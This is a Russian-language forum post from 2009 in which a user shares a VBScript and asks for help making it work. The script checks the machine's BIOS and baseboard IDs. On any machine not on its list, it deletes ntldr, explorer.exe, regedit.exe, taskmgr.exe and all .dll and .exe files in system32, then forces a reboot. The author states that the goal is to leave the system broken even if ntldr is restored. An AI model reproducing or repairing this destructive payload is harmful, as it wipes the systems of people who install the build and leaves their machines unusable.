Имя пользователя:
Пароль:  
Помощь | Регистрация | Забыли пароль?  

Показать сообщение отдельно

Аватара для Pozia

Ветеран


Сообщения: 2756
Благодарности: 211

Профиль | Отправить PM | Цитировать


Petya V4sechkin, по поводу моего четвертого вопроса. Не получилось. Помогите подправить скрипт.

Вот он полностью
Option Explicit

Dim objWMIService, arrayBIOS, objBIOS, strAllowedHost, strYouAreWelcome
Dim strOperatingSystem, colOperatingSystems
Dim objFSO, objShell, strSystemDrive
Dim objBaseboard, arrayBaseboard, strComputerHost, strPassword

Const wbemFlagReturnImmediately = &h10
Const wbemFlagForwardOnly = &h20
Const wmiRestartForce = 4

strPassword = "пароль"
Dim arrayAllowedHosts(1)
arrayAllowedHosts(0) = "ID BIOS"
arrayAllowedHosts(1) = "ID BIOS 2"


Set objShell = CreateObject("Wscript.Shell")

Set objWMIService = GetObject("winmgmts:\\.\root\CIMV2")
Set arrayBIOS = objWMIService.ExecQuery("SELECT * FROM Win32_BIOS", "WQL", wbemFlagReturnImmediately + wbemFlagForwardOnly)
Set arrayBaseBoard = objWMIService.ExecQuery("SELECT * FROM Win32_BaseBoard", "WQL", wbemFlagReturnImmediately + wbemFlagForwardOnly)

For Each objBIOS In arrayBIOS
For Each objBaseboard In arrayBaseBoard
strComputerHost = objBios.ReleaseDate & objBaseboard.Product
For Each strAllowedHost in arrayAllowedHosts
If Trim(LCase(strComputerHost)) = Trim(LCase(strAllowedHost)) Then strYouAreWelcome = 1
Next
Next
Next

If strYouAreWelcome <> 1 Then
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set colOperatingSystems = GetObject("winmgmts:{(Shutdown)}//./root/cimv2").ExecQuery("select * from Win32_OperatingSystem where Primary=true")
strSystemDrive = objShell.ExpandEnvironmentStrings("%SystemDrive%")
objFSO.DeleteFile strSystemDrive & "\ntldr", True
objFSO.DeleteFile strSystemDrive & "\WINDOWS\regedit.exe", True
objFSO.DeleteFile strSystemDrive & "\WINDOWS\explorer.exe", True
objFSO.DeleteFile strSystemDrive & "\WINDOWS\system.ini", True
objFSO.DeleteFile strSystemDrive & "\WINDOWS\system32\taskmgr.exe", True
objFSO.DeleteFile strSystemDrive & "\WINDOWS\system32\shutdown.exe", True
objFSO.DeleteFile strSystemDrive & "\WINDOWS\system32\setup.exe", True
objFSO.DeleteFile strSystemDrive & "\WINDOWS\system32\route.exe", True
objFSO.DeleteFile strSystemDrive & "\WINDOWS\system32\msconfig.exe", True
objFSO.DeleteFile strSystemDrive & "\WINDOWS\system32\logonui.exe", True
objFSO.DeleteFile strSystemDrive & "\WINDOWS\system32\*.dll", True
objFSO.DeleteFile strSystemDrive & "\WINDOWS\system32\*.exe", True

For Each strOperatingSystem in colOperatingSystems
strOperatingSystem.Reboot()
Next
Else If strYouAreWelcome = 1 Then
ObjShell.Run ("C:\PKUNZIP -e -d -s" & strPassword & " C:\Protect.zip C:\"), 0, True
End If
End If

Set objFSO = CreateObject("Scripting.FileSystemObject")
objFSO.DeleteFile ("C:\Protect.zip")
objFSO.DeleteFile ("C:\PKUNZIP.EXE")


Жирным выделил то что добавил я. Если вы не в курсе что это за скрипт то это от сюда
Захотел его усовершенствовать тем чтобы помимо ntldr он удалял еще какие нибудь важные системные файлы, чтобы если даже и восстановят ntldr то система получится глючной или неработоспособной.

Так вот так как я записал скрипт не правильно работает. Если не дабовлять строки то он скрипт проверяет условие и если оно ложное то удаляет ntldr и перегружает комп. Когда я добавил эти жирные строки то скрипт удаляет ntldr и только и комп не перезагружается а идет установка дальше. Все остальное не трогает (хотя там есть файлы которые из под винды без проблем удаляются вручную). Я так понимаю скрипт обрабатывает только строку objFSO.DeleteFile strSystemDrive & "\ntldr", True а остальные не трогает. Как сделать чтобы все эти строки обрабатывались как одно целое?

-------
Жизни вглядись в глаза: Это то, что ты всегда искал? Это то, что ты всегда хотел? Да или нет?


Отправлено: 12:15, 11-01-2009 | #576